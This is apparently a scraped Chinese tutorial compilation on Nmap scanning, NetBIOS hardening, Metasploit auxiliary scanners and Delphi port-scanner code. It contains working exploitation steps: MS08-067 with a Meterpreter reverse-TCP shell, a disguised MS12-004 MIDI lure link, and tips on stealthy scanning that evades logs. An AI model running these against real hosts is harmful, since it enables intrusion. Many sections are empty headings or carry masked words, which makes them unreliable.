Nmap 扫描原理及使用 ***
Nmap 扫描原理及使用 ***
Namp包含四项基本功能
Nmap基本扫描 ***
2.1 用法引入
2.1.1确定端口状况
确定目标主机在线情况及端口基本状况。
命令形式:
namp targethost
2.1.2 完整全面的扫描
对主机进行完整全面的扫描,那么可以使用nmap内置的-A选项。使用该选项,nmap 对主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。
1)命令形式:
nmap -T4 -A -v targethost
2)参数详解:
2.2 主机发现
2.2.1 主机发现原理
主机发现发现的原理与Ping命令类似,发送探测包到目标主机,如果收到回复,说明目标主机是开启的。
1)常见主机探测方式:
2)案例:
Nmap的用户位于源端,IP地址192.168.0.5,向目标主机192.168.0.3发送ICMP Echo Request。如果该请求报文没有被防火墙拦截掉,那么目标机会回复ICMP Echo Reply包回来。以此来确定目标主机是否在线。
3)默认情况下:Nmap会发送四种不同类型的数据包来探测目标主机是否在线。
依次发送四个报文探测目标机是否开启。只要收到其中一个包的回复,那就证明目标机开启。使用四种不同类型的数据包可以避免因防火墙或丢包造成的判断错误。
2.2.2 主机发现的用法
2.3 端口扫描
Namp通过探测将端口划分为6个状态:
2.3.1 端口扫描原理
2.3.1.1 TCP SYN scanning
TCP SYN scanning 是Nmap默认的扫描方式,称作半开放扫描。
原理:该方式发送SYN到目标端口。
2.3.1.2 TCP connect scanning
原理:TCP connect 方式使用系统 *** API connect 向目标主机的端口发起连接。
优缺点:该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标机上留下记录信息,不够隐蔽。所以,TCP connect是TCP SYN无法使用才考虑选择的方式。
2.3.1.3 TCP ACK scanning
原理:向目标主机的端口发送ACK包。
优缺点:该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。
2.3.1.4 TCP FIN/Xmas/NULL scanning
这三种扫描方式被称为秘密扫描(Stealthy Scan)
原理:FIN扫描向目标主机的端口发送的TCP FIN包或Xmas tree包/Null包
其中Xmas tree包是指flags中FIN URG PUSH被置为1的TCP包;NULL包是指所有flags都为0的TCP包。
2.3.1.5 UDP scanning
UDP扫描方式用于判断UDP端口的情况。
原理:向目标主机的UDP端口发送探测包。
2.3.2 端口扫描用法
2.3.2.1 扫描方式选项
2.3.2.2 端口参数与扫描顺序
2.4 版本侦测
2.4.1 优缺点
2.4.2 版本侦测原理
2.4.3 版本侦测用法
2.5 OS侦测
2.5.1 OS侦测原理
2.5.2 OS侦测用法
参考:
请问192.168.1.101:netbios-ssn是什么意思
NetBIOS(Network Basic Input Output System, *** 基本输入输出系统),是一种应用程序接口(API),作用是为局域网(LAN)添加特殊功能,几乎所有的局域网电脑都是在NetBIOS基础上工作的。在我们的Windows 95、99、或Me中,NetBIOS是和TCP/IP捆绑在一起的,这是十分危险的!
NetBIOS有悠久的历史,它在1985年更先被IBM使用,当微软首次发布基于Windows的 *** 操作系统Windows For Workgroups时,它使用的就是在NetBIOS基础上稍加改变的NetBEUI。当互联网以惊人的速度增长时,TCP/IP的时代来临了,Windows 95、98、 Me都通过TCP/IP协议来访问互联网。实际上,我们访问互联网时只需要TCP/IP协议就行了,但当我们安装TCP/IP协议时,默认情况下NetBIOS(和它的文件与打印共享功能)也一起被装进了系统。当NetBIOS运行时,你的后门打开了:因为NetBIOS不光允许局域网内的用户访问你的硬盘资源,Internet上的黑客也能!
你也许要说,黑客只对大公司和知名网站感兴趣,可能还“关心”不到我们这些个人用户吧?(何况又是拨号上网,IP地址不固定!) 如果你这样想,那就错了(更准硬地说应该是,“那就危险了!”) 。现在 *** 上端口扫描程序很多,如果有人扫描一下,发现那些粗心地打开NetBEUI和文件与打印共享功能的计算机就闯进去……而这一切都是在后台发生的,你并不知道!
所以我们必须关上这扇可恶的后门!
如前所述,在安装TCP/IP协议时,NetBIOS被毫无必要地(对于我们这些一般用户而言)一起装上了(或者说NetBIOS被捆绑在TCP/IP上)。我们要做的就是将NetBIOS从TCP/IP上解下来!
1.检查NetBEUI是否出现在配置栏中。打开控制面版,双击“ *** ”选项,打开“ *** ”对话框。在“配置”标签页中检查己安装的 *** 组件中是否有NetBEUI。如果没有,点击列表下边的添加按钮,选中“ *** 协议”对话框,在制造商列表中选择微软,在 *** 协议列表中选择NetBEUI。点击确定,根据提示插入安装盘,安装NetBEUI。
2.回到“ *** ”对话框,选中“拨号 *** 适配器”,点击列表右下方“属性”按钮。在打开的“属性”对话框中选择“绑定”标签页,将除“TCP/IP- *** 适配器”之外的其它项目前复选框中的对勾都取消!
3.回到“ *** ”对话框,选中“TCP/IP-拨号 *** 适配器”点击列表右下方“属性”按钮,不要怕弹出的警告对话框,点击“确定”。在“TCP/IP属性”对话框中选择“绑定”标签页,将列表中所有项目前复选框中的对勾都取消!点击“确定”,这时Windows会警告你“尚未选择绑定的驱动器。现在是否选择驱动器?”点击“否”。之后,系统会提示重新启动计算机,确认。
4.证实己取消绑定。重新进入“TCP/IP-拨号 *** 适配器”的“TCP/IP属性”对话框,选定“NetBIOS”标签页,看到“通过TCP/IP启用NetBIOS”项被清除了吧!连点两次“取消”退出“ *** ”对话框(不要点“确认”,免得出现什么意外)。
好,现在你便可以放心了。
如何用Metasploit扫描端口
一、调用Nmap进行扫描
进入msf命令行后直接输入nmap –v –sVip(具体命令和nmap一样)
二、MSF模块扫描
Use auxiliary/scanner/postscan/syn
先用搜索命令搜索有关端口扫描的工具:searchportscan
我们使用Use auxiliary/scanner/postscan/syn
看一下参数配置 showoptions
我们先来设置一下网卡
Set INTERFACE eth0
设置一下扫描的端口,我们这里来扫描80:set PORTS 80
设置扫描目标RHOSTS :set RHOSTS 119.63.37.149
在设置一下线程:set THREADS 100
看一下我们设置好的
这时候我们都设置好了,我们来攻击下,看看效果,用命令run进行攻击
缺点就是扫描的速度有点慢啊
MetaSploit *** B扫描获取系统信息
还是搜索一下 *** b:search *** b
这次发现搜出来很多,我们用这个模块
Use auxiliary/scanner/ *** b/ *** b_version
看一下需要设置的参数
设定目标ip:set RHOSTS 192.168.188.140
在设置一下线程:set THREAD 10
然后run一下,查看结果
直接扫描出来小伙伴的系统还有主机名,速度不到1s,很快
也可以批量扫描设置批量扫描目标即可 set RHOSTS 192.168.188.50-200
MetaSploit服务识别
我们这里对SSH和FTP进行识别
在这里使用这个模块:use auxiliary/scanner/ssh/ssh_version
然后我们设置一下参数,这里讲设置好的参数截图看一下
Run一下看看结果,其实没有扫出来,好像是屏蔽了,但是用nmap却扫出来了ssh
在试一下ftp,用这个模块:use auxiliary/scanner/ftp/ftp_version
设置下参数
可以看到结果,也没有扫描出来;
MetaSploit SNMP扫描与枚举
搜索一下snmpuse auxiliary/scanner/snmp/snmp_login
看一下他的参数设置
这个参数还是很多的
设定一下目标
然后在run一下
枚举用这个模块
use auxiliary/scanner/snmp/snmp_enum
设置好目标和线程后run一下就可以
MetaSploit远程代码执行
搜索一下08-067,使用这个攻击载荷
use exploit/windows/ *** b/ms08_067_netapi
同样来看一下参数设置
我们只要设置一下目标就可以,然后我们需要一个载荷来反弹shell
set payload windows/meterpreter/reverse_tcp
然后设置参数
将LHOST 设置为自己的ip(对外攻击不要忘了段口转发)
比如说知道对面的系统是什么版本,可以指定targer,用target查看一下都有什么版本
设置一下目标,假设我们目标机器的系统为10:set target 10
这时候,我们再来看一下其参数设置,发现比以前完备了好多
08-067是不会自动识别系统版本的,但是其他的可以自动识别,所以用其他攻击载荷的时候可以不用设置
然后输入exploit进行攻击即可
这时候会出来一个meterpreter
我们在里面输入shell,就会反弹一个shell
这样整个攻击过程就完成了
MetaSploit MIDI文件解析远程代码执行
还是来搜索12-004
设置下本机ip set SRVHOST ip
然后攻击
会生成一个连接,但是这个链接容易让人发现,所以我们可以伪装下ip利用URIPATH参数就可以伪装
在设置时,会发现报红,因为4444端口被占用了,所以我们改下监听端口 set LPORT 5555
然后生成连接
只要目标点了这个链接,那么我们就会上线一个shell
说一下,目标点击后我们这边并没有反映,我们需要输下session查看当前会话,会找到上线的机子,连接上线的机子
Session –I 1(id)
然后输入shell就可以拿到shell
电脑的API是什么,是不是就是端口?
API不是端口,API是面向程序设计人员的编程接口。API的本质是某个软件或系统提供给编程人员的一些预定义好的函数。有了这些函数,编程人员通过函数的使用规范来使用它们就可以实现这个程序的相应功能,这样,程序员只需要专注于自己程序的开发即可,而不需要关注提供API的这个程序内部究竟是如何实现功能的。因此,API相当于一个黑箱,只留一个外部操作接口给编程人员,而无需关注内部具体的实现细节。
端口是计算机内部的程序用来连接 *** 的出口,是一个虚拟概念。计算机内的每个程序向外连接 *** 都要通过特定的端口,这样很容易将数据包归类整理而避免无法区分产生混乱。外网和计算机上的某个程序通信时,只需要知道该程序所用的端口号,通过这个端口收发信息即可,而不需要知道具体是哪个程序,它有什么样的属性。每个端口都有其特定作用,有些端口号是固定的,如80端口提供HTTP服务让你可以浏览网页,23端口提供远程登录和控制功能,53号端口提供DNS解析服务,让你通过输入网址就可以访问某个网址而不必输入该网站的IP地址。
在计算机的命令提示符(CMD)中输入netstat -ano,可以查看当前所有被占用的端口的工作情况。在IP地址的冒号后面的部分就是端口号。
修改端口是比较复杂的工作,要区分系统端口、应用端口和保留端口。有些可以修改,有些不能修改,而修改的 *** 也随不同的程序而异。
用delphi做端口扫描器 运行时出现:asynchronous socket error 10049,怎么解决
貌似是异步操作的错误,是不是使用了临界资源,如果可以的话要用临界区变量
Asynchronous socket error 10061
服务器错误,
端口扫描的问题
在写端口扫描时 ,如果与某主机特定端口无法通信 ,
就此主机而言 ,我想应该有以下两种情况 :
1 。此地址上无任何主机存在
2 。有主机但被扫描的特定端口不存在 ( 也可能是被 firewall 过滤了 )
如何得知某端口一打开
给你来个简单的吧!
procedure TForm1.Timer1Timer(Sender: TObject);
var
I : integer;
begin
Memo1.Clear;
for I := 0 to 1000 do begin
ServerSocket1.Close;
ServerSocket1.Port := I;
try
ServerSocket1.Open;
except
Memo1.Lines.Add(IntToStr(I) + ' 端口被打开 !');
end;
end;
end;
对不起 ,我指的是别人机器上的 PORT
你是说 PORT 只能被一个程序打开么 ?
可是 ,我用 OICQ 时在打开 4000 没问题呀
我把上面的程序改了一下 ,也可以用的。你就去试图连接对方 ,如果通了 ,说明此端口被打
开。
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add(' 端口 '+IntToStr(Socket.RemotePort)+' 被打开! ');
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
ClientSocket1.Close;
ClientSocket1.Port := PortID;
try
ClientSocket1.Open;
except
end;
Inc(PortID);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
PortID := 1;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
try
ClientSocket1.Close;
except
end;
Memo2.Lines.add(IntToStr(Socket.remotePort));
end;
吕雪松你的 *** 我试过了可是抱错 :asynchronous socket error 10061
--------------------------------------------------------------------------------
来自 :xueminliu 时间 :01-3-3 17:26:47 ID:464312
要区分 tcp 和 udp
oicq 用 udp 协议 ,connect 没有用 ,但是 tcp 可以这样
另外 ,如果你写扫描程序可千万不要这样 ,应该使用别的链接 *** ,否则你的踪迹会被别人
发现 .例如使用 sys 扫描或者 fin 扫描 :
我给你异步 socket 的 api 代码 :
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,WInSock, ExtCtrls;
const WM_SOCKET=WM_USER+1; //socket 消息
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Panel1: TPanel;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
Sockhd : integer; //socket 句柄
Serv_Addr : Tsockaddr;// 目标地址
procedure SockEvent(var msg: Tmessage);message WM_SOCKET; // 处理 cocket 消息
procedure DspMsg(msg : string); // 显示信息
{ Private declarations }
public
{ Public declarations }
end;
Form1: TForm1;
implementation
{$R *.DFM}
function lookup_hostname(const hostname:string):longint; // 把域名转化成 IP 地址
var
RemoteHost : PHostEnt; (* no, don't free it! *)
ip_address: longint;
begin
ip_address:=-1;
try
if hostname='' then
begin (* no host given! *)
lookup_hostname:=ip_address;
EXIT;
end
else
begin
ip_address:=Winsock.Inet_Addr(PChar(hostname)); (* try a xxx.xxx.xxx.xx first *)
if ip_address=SOCKET_ERROR then begin
RemoteHost:=Winsock.GetHostByName(PChar(hostname));
if (RemoteHost=NIL) or (RemoteHost^.h_length=0) then
begin
lookup_hostname:=ip_address;
EXIT; (* host not found *)
end
else
ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);
end;
end;
except
ip_address:=-1;
end;
lookup_hostname:=ip_address;
end;
procedure TFOrm1.DspMsg(msg: string);
begin
memo1.Lines.Add(msg+'...');
if Memo1.Lines.Count200 then Memo1.Lines.Delete(0);
end;
procedure TForm1.SockEvent(var msg : tmessage); // 处理 socket 消息
begin
case msg.LParam of
FD_READ: begin // 标识可以读数据 ,当然肯定已经链接上了
dspmsg(' 可以读取数据 ');
//do what you want do
end;
FD_WRITE: begin
dspmsg(' 可以发送数据 ');
//do what you want do
end;
FD_ERROR: begin
dspmsg(' 发生错误 ');
// 如果你是客户端 ,则应该是连接不上 ,即端口没有开
end;
FD_CLOSE: Begin
dspmsg(' 服务器断开连接 ');
// 对方关闭连接
end;
FD_CONNECT: begin
dspmsg(' 连结上服务器 ');
// 表示对方端口开放
end;
FD_ACCEPT: begin
dspmsg(' 接收一个请求 ');
// 这个消息只有服务端可能出现
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var wsaData:TwsaData;
begin // 启动 winsock 动态链接库
if WSAStartup (makeword(2,2), wsaData)0 then begin
messagebox(application.handle,' 无法启动 winsock 动态连接库 !',' 警告 ',MB_OK or MB_APPLMODAL or MB_ICONWARNING);
Application.Terminate;
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin // 关闭 dll
WSACleanup;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Sockhd := socket(AF_INET,SOCK_STREAM,0); // 创建 socket 句柄
if Sockhd0 then begin
messagebox(application.handle,' 无法创建句柄 !',' 警告 ',MB_OK or MB_APPLMODAL or MB_ICONWARNING);
exit;
end;
Serv_addr.sin_addr.s_addr:= lookup_hostname(edit1.Text); // 主机名
Serv_addr.sin_family := PF_INET;
Serv_addr.sin_port := htons(23); //any port you want to connect
if WSAAsyncSelect(Sockhd,Form1.handle,WM_SOCKET,FD_ACCEPT or FD_CONNECT or FD_CLOSE or FD_READ or FD_WRITE)=SOCKET_ERROR
then begin
messagebox(application.handle,' 无法创建句柄 !',' 警告 ',MB_OK or MB_APPLMODAL or MB_ICONWARNING);
exit;
end; // 异步 socket
connect(sockhd,serv_addr,sizeof(serv_addr)); // 连接 ,结果会在前面的处理函数处理
end;
end.
相信应该可以满足你的要求
请问如何编程区分这两种情况
更好详细一点喔 ( 我很笨的 )
如果在此地址上无主机存在 ,则发出的数据包得不到回应 ,应用程序会等待超时才
认为连接失败 ( 被 firewall 过滤时情况一样 ),若有主机但被扫描的特定端口不存在时 ,
该主机会发出目的端口不存在的应答
至于如何编程实现 ,应该可以由错误码来判断 ,在 OnError 事情中判定 ErrorCode 是多
小 ,再分别处理 ,ErrorCode 的详情参见 Help
这么高深的问题才 50 分 ,少了
端口扫描不是这么简单 ,否则大家都做
首先你扫描人家的端口会留下自己的痕迹 ,系统有日志可以察看
因此我们做端口扫描的的时候绝对不会直接连接别人 ,而是通过地层的接口编程
例如在 TCP 三次握手的第三次放弃 ,对方就不会有日志 ,这称为 sys 扫描
给对方端口发断开连接的请求称为 fin 扫描 .
通过这两种扫描方式都可以得知对方的端口是否开 ,而且不会留下痕迹 .
总之端口扫描里面有很多学问 ,不是这里可以说清除的
怎么做呀 ,如你所说的话好象要直接调用 socket api?
我现在首先关心的是我提出的问题 ,如何编程区分这两种情况 :
1 。此地址上无任何主机存在
2 。有主机但被扫描的特定端口不存在 ( 也可能是被 firewall 过滤了 )
还有 ,为什么我把 clientsocket 的 onread 里的 errorcode 设为 0 了 ,
还是常常会出现 delphi 自己的错误消息提示 ,象 10061,10057 什么的 ,
这好象是另外一种 error code,如能把它屏蔽我想就不会出现提示了 .
是吗?如果是 ,该怎么做呢。
最后 : 如果能给我一个多线程的端口扫描源码 ,我再给 100 分 ( 真的很穷啊 )
我找到了 help 里的有关说明 ( 是在索引中 Error TCP Event 里找到的 )
WinSock Error Codes
The following error codes apply to the WinSock ActiveX Controls.
Error Code Error Message
10004 The operation is canceled.
10013 The requested address is a broadcast address, but flag is not set.
10014 Invalid argument.
10022 Socket not bound, invalid address or listen is not invoked prior to accept.
10024 No more file descriptors are available, accept queue is empty.
10035 Socket is non-blocking and the specified operation will block.
10036 A blocking Winsock operation is in progress.
10037 The operation is completed. No blocking operation is in progress.
10038 The descriptor is not a socket.
10039 Destination address is required.
10040 The datagram is too large to fit into the buffer and is truncated.
10041 The specified port is the wrong type for this socket.
10042 Option unknown, or unsupported.
10043 The specified port is not supported.
10044 Socket type not supported in this address family.
10045 Socket is not a type that supports connection oriented service.
10047 Address Family is not supported.
10048 Address in use.
10049 Address is not available from the local machine.
10050 Network subsystem failed.
10051 The network cannot be reached from this host at this time.
10052 Connection has timed out when SO_KEEPALIVE is set.
10053 Connection is aborted due to timeout or other failure.
10054 The connection is reset by remote side.
10055 No buffer space is available.
10056 Socket is already connected.
10057 Socket is not connected.
10058 Socket has been shut down.
10060 The attempt to connect timed out.
10061 Connection is forcefully rejected.
10201 Socket already created for this object.
10202 Socket has not been created for this object.
11001 Authoritative answer: Host not found.
11002 Non-Authoritative answer: Host not found.
11003 Non-recoverable errors.
11004 Valid name, no data record of requested type.
我想只要对它进行有关操作就能完全屏蔽 winsocket 错误消息 ( 至少
能屏蔽很多 onerror 里的 errorcode 参数无法屏蔽的消息 )
我终于找到原因所在了
在打开 Socket 时也要捕获异常
try
ClientSocket.Open;
except
MessageBox(MainForm.Handle,'Error connecting to this address','Connect',MB_ICONEXCLAMATION);
end;
在 OnError 中最后要将 ErrorCode 置为 0
if ErrorEvent=eeConnect then
begin
Socket.Close;
MessageBox(MainForm.Handle,'Error connecting to this address','Connect',MB_ICONEXCLAMATION);
end
else if ErrorEvent=eeSend then
Socket.Close;
ErrorCode:=0;
你可能无做之一步
而这样也可以区分你所说的两种情况
1 。第二步 OnError 就是此地址上无任何主机存在 ,到超时就触发 OnError 事件
2 。之一步捕捉到异常就是有主机但被扫描的特定端口不存在
0条大神的评论